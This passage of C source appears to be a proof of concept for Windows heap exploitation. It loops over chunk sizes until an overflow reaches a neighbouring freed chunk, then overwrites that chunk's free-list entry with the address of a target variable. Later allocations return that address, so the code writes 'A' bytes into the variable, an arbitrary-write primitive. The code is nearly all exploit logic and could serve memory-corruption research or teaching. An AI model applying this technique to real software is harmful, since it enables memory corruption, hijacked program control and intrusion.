pDestination2 = HeapAlloc(pHeap, 0, ALLOC_SIZE); assert(pDestination2); 
pDestination = HeapAlloc(pHeap, 0, ALLOC_SIZE); assert(pDestination);
HeapFree(pHeap, 0, pDestination2); HeapFree(pHeap, 0, pDestination);

for (j = 1, ChunkSize = ALLOC_SIZE+8; ChunkSize && j < 200; j++, ChunkSize += 8)
{
	if (ChunkSize == ALLOC_SIZE) continue;
	pSource = HeapAlloc(pHeap, 0, ChunkSize); assert(pSource);
	Size = (DWORD)(pDestination - pSource) - ChunkSize;

	if (Size < MAX_OVERFLOW_SIZE)
	{
		printf("[Attempt %d] Requires overflow of %d bytes\n", j, Size);
		memset(pSource, 0x01, ChunkSize);
		Size /= 4;
		pEntry = (HEAP_FREE_ENTRY *)(pSource + ChunkSize);
		for (i = 0, dw = (DWORD *)pEntry; i < Size; i++) *dw++ = (DWORD)TestVariable;
		*dw++ = (DWORD)TestVariable;
		HeapFree(pHeap, 0, pSource);

		// Our target chunks
		pSource = HeapAlloc(pHeap, 0, ALLOC_SIZE); assert(pSource);
		pSource = HeapAlloc(pHeap, 0, ALLOC_SIZE); assert(pSource);
		assert(pSource); memset(pSource, 'A', ALLOC_SIZE-1); pSource[ALLOC_SIZE-1] = 0;
		printf("TestVariable = \"%s\"\n", TestVariable);
		break;
	}
}